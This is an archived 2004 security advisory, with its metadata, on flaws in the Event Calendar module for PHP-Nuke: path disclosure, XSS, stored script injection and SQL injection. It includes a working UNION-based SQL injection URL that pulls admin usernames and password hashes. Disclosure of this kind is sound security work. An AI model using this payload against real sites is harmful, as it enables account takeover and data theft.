ID PACKETSTORM:35083 Type packetstorm Reporter Janek Vind aka waraxe Modified 2004-11-20T00:00:00
Description
`
{================================================================================}
{ [waraxe-2004-SA#038] }
{================================================================================}
{ }
{ [ Multiple vulnerabilities in Event Calendar module for PhpNuke ] }
{ }
{================================================================================}
Author: Janek Vind "waraxe"
Date: 17. November 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=38
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Module's Name: Event Calendar
Module's Version: 2.13 - March 16th, 2004
Module's Description: Provides an event calendar for PHP-Nuke communities.
License: GNU/GPL
Author's Name: Original author - Rob Sutton. Development continued by Holbrookau.
Author's Email: phpnuke@holbrookau.net
Event Calendar - a module for PHP-Nuke.
Based on version 1.5 by Rob Sutton, the Event Calendar found here is much updated
and features many improvments and add-ons. For example, the administration area features
configuration via a graphical interface, posting of events can be moderated and users even
have the option of adding comments to any event.
Homepage: http://phpnuke.holbrookau.net/
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This piece of sowtware has many security related flaws due to poor user-submitted data
handling.
A - Full Path Disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A1 - full path disclosure in "config.php":
http://localhost/nuke73/modules/Calendar/config.php
Warning: main(modules/Calendar/configset.php): failed to open stream: No such file or directory in D:\apache_wwwroot\nuke73\modules\Calendar\config.php on line 11
Warning: main(): Failed opening 'modules/Calendar/configset.php' for inclusion (include_path='.;c:\php4\pear') in D:\apache_wwwroot\nuke73\modules\Calendar\config.php on line 11
Warning: main(mainfile.php): failed to open stream: No such file or directory in D:\apache_wwwroot\nuke73\modules\Calendar\config.php on line 14
Warning: main(): Failed opening 'mainfile.php' for inclusion (include_path='.;c:\php4\pear') in D:\apache_wwwroot\nuke73\modules\Calendar\config.php on line 14
Warning: main(modules//language/lang-english.php): failed to open stream: No such file or directory in D:\apache_wwwroot\nuke73\modules\Calendar\config.php on line 19
Warning: main(): Failed opening 'modules//language/lang-english.php' for inclusion (include_path='.;c:\php4\pear') in D:\apache_wwwroot\nuke73\modules\Calendar\config.php on line 19
A2, A3 - full path disclosure in "index.php" and "submit.php":
http://localhost/nuke73/modules/Calendar/index.php
http://localhost/nuke73/modules/Calendar/submit.php
B - XSS aka cross site scripting:
Examples:
http://localhost/nuke73/modules.php?name=Calendar&file=submit&type=[xss code here]
http://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&day=[xss code here]
http://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&month=[xss code here]
http://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&year=[xss code here]
http://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&type=[xss code here]
C - script injection in calendar event comments:
It's serious bug - anyone can insert javascript exploit code to event comments
and if user or admin will read it, javascript will trigger and bad things can
happen - like cookie theft, arbitrary admin operations, etc.
D - critical sql injection bugs in code:
If we take a deep look at source code, then there can be found multiple sql queries,
where some variables, mostly "$eid" and "$cid" ARE NOT surrounded with single quotes.
Therefore sql injection is possible. Further exploitation will depend on database
software and version. In case of the mysql version 4.x with UNION functionality enabled,
arbitrary data can be retrieved from database, inluding admin(s) authentication credentials.
As tradition, there is proof of concept:
----------------[ real life exploit ]---------------
http://localhost/nuke73/modules.php?name=Calendar&file=index&type=view&eid=-99%20UNION%20ALL%20SELECT
%201,1,aid,1,pwd,1,1,1,1,1,1,1,1,1,1%20FROM%20nuke_authors%20WHERE%20radminsuper=1
----------------[/real life exploit ]---------------
How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vendor contacted: 06. September 2004
Vendor responded: 06. September 2004
Detailed list of problems sent to vendor: 08. September 2004
Since then no more response from software developer and downloadable version
still unpatched.
For help with patching look @ here - http://www.waraxe.us/forums.html
Additional recources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Free proxy lists - http://www.waraxe.us/forum/viewforum.php?f=21
Base64 online tool - http://base64-encoder-online.waraxe.us/base64/base64-encoder.php
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to Raido Kerna, icenix, g0df4th3r and slimjim100!
Tervitused - Heintz ja Maku!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@yahoo.com
Janek Vind "waraxe"
Homepage: http://www.waraxe.us/
---------------------------------- [ EOF ] ------------------------------------
`
{"id": "PACKETSTORM:35083", "type": "packetstorm", "bulletinFamily": "exploit", "title": "waraxe-2004-SA038.txt", "description": "", "published": "2004-11-20T00:00:00", "modified": "2004-11-20T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/35083/waraxe-2004-SA038.txt.html", "reporter": "Janek Vind aka waraxe", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:28:35", "viewCount": 2, "enchantments": {"score": {"value": -0.2, "vector": "NONE", "modified": "2016-11-03T10:28:35", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:28:35", "rev": 2}, "vulnersScore": -0.2}, "sourceHref": "https://packetstormsecurity.com/files/download/35083/waraxe-2004-SA038.txt", "sourceData": "` \n \n \n \n{================================================================================} \n{ [waraxe-2004-SA#038] } \n{================================================================================} \n{ } \n{ [ Multiple vulnerabilities in Event Calendar module for PhpNuke ] } \n{ } \n{================================================================================} \n \nAuthor: Janek Vind \"waraxe\" \nDate: 17. November 2004 \nLocation: Estonia, Tartu \nWeb: http://www.waraxe.us/index.php?modname=sa&id=38 \n \n \nAffected software description: \n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \n \nModule's Name: Event Calendar \nModule's Version: 2.13 - March 16th, 2004 \nModule's Description: Provides an event calendar for PHP-Nuke communities. \nLicense: GNU/GPL \nAuthor's Name: Original author - Rob Sutton. Development continued by Holbrookau. \nAuthor's Email: phpnuke@holbrookau.net \n \nEvent Calendar - a module for PHP-Nuke. \nBased on version 1.5 by Rob Sutton, the Event Calendar found here is much updated \nand features many improvments and add-ons. For example, the administration area features \nconfiguration via a graphical interface, posting of events can be moderated and users even \nhave the option of adding comments to any event. \n \nHomepage: http://phpnuke.holbrookau.net/ \n \n \nVulnerabilities: \n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \n \nThis piece of sowtware has many security related flaws due to poor user-submitted data \nhandling. \n \n \nA - Full Path Disclosure \n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \n \nA1 - full path disclosure in \"config.php\": \n \nhttp://localhost/nuke73/modules/Calendar/config.php \n \nWarning: main(modules/Calendar/configset.php): failed to open stream: No such file or directory in D:\\apache_wwwroot\\nuke73\\modules\\Calendar\\config.php on line 11 \nWarning: main(): Failed opening 'modules/Calendar/configset.php' for inclusion (include_path='.;c:\\php4\\pear') in D:\\apache_wwwroot\\nuke73\\modules\\Calendar\\config.php on line 11 \nWarning: main(mainfile.php): failed to open stream: No such file or directory in D:\\apache_wwwroot\\nuke73\\modules\\Calendar\\config.php on line 14 \nWarning: main(): Failed opening 'mainfile.php' for inclusion (include_path='.;c:\\php4\\pear') in D:\\apache_wwwroot\\nuke73\\modules\\Calendar\\config.php on line 14 \nWarning: main(modules//language/lang-english.php): failed to open stream: No such file or directory in D:\\apache_wwwroot\\nuke73\\modules\\Calendar\\config.php on line 19 \nWarning: main(): Failed opening 'modules//language/lang-english.php' for inclusion (include_path='.;c:\\php4\\pear') in D:\\apache_wwwroot\\nuke73\\modules\\Calendar\\config.php on line 19 \n \n \nA2, A3 - full path disclosure in \"index.php\" and \"submit.php\": \n \nhttp://localhost/nuke73/modules/Calendar/index.php \nhttp://localhost/nuke73/modules/Calendar/submit.php \n \n \nB - XSS aka cross site scripting: \n \nExamples: \n \nhttp://localhost/nuke73/modules.php?name=Calendar&file=submit&type=[xss code here] \nhttp://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&day=[xss code here] \nhttp://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&month=[xss code here] \nhttp://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&year=[xss code here] \nhttp://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&type=[xss code here] \n \n \nC - script injection in calendar event comments: \n \nIt's serious bug - anyone can insert javascript exploit code to event comments \nand if user or admin will read it, javascript will trigger and bad things can \nhappen - like cookie theft, arbitrary admin operations, etc. \n \n \nD - critical sql injection bugs in code: \n \nIf we take a deep look at source code, then there can be found multiple sql queries, \nwhere some variables, mostly \"$eid\" and \"$cid\" ARE NOT surrounded with single quotes. \nTherefore sql injection is possible. Further exploitation will depend on database \nsoftware and version. In case of the mysql version 4.x with UNION functionality enabled, \narbitrary data can be retrieved from database, inluding admin(s) authentication credentials. \nAs tradition, there is proof of concept: \n \n----------------[ real life exploit ]--------------- \n \nhttp://localhost/nuke73/modules.php?name=Calendar&file=index&type=view&eid=-99%20UNION%20ALL%20SELECT \n%201,1,aid,1,pwd,1,1,1,1,1,1,1,1,1,1%20FROM%20nuke_authors%20WHERE%20radminsuper=1 \n \n----------------[/real life exploit ]--------------- \n \n \nHow to fix: \n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \n \nVendor contacted: 06. September 2004 \nVendor responded: 06. September 2004 \nDetailed list of problems sent to vendor: 08. September 2004 \n \nSince then no more response from software developer and downloadable version \nstill unpatched. \n \nFor help with patching look @ here - http://www.waraxe.us/forums.html \n \n \nAdditional recources: \n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \n \nFree proxy lists - http://www.waraxe.us/forum/viewforum.php?f=21 \nBase64 online tool - http://base64-encoder-online.waraxe.us/base64/base64-encoder.php \n \n \nGreetings: \n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \n \nGreets to Raido Kerna, icenix, g0df4th3r and slimjim100! \nTervitused - Heintz ja Maku! \n \nContact: \n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \n \ncome2waraxe@yahoo.com \nJanek Vind \"waraxe\" \n \nHomepage: http://www.waraxe.us/ \n \n---------------------------------- [ EOF ] ------------------------------------ \n`\n", "immutableFields": []}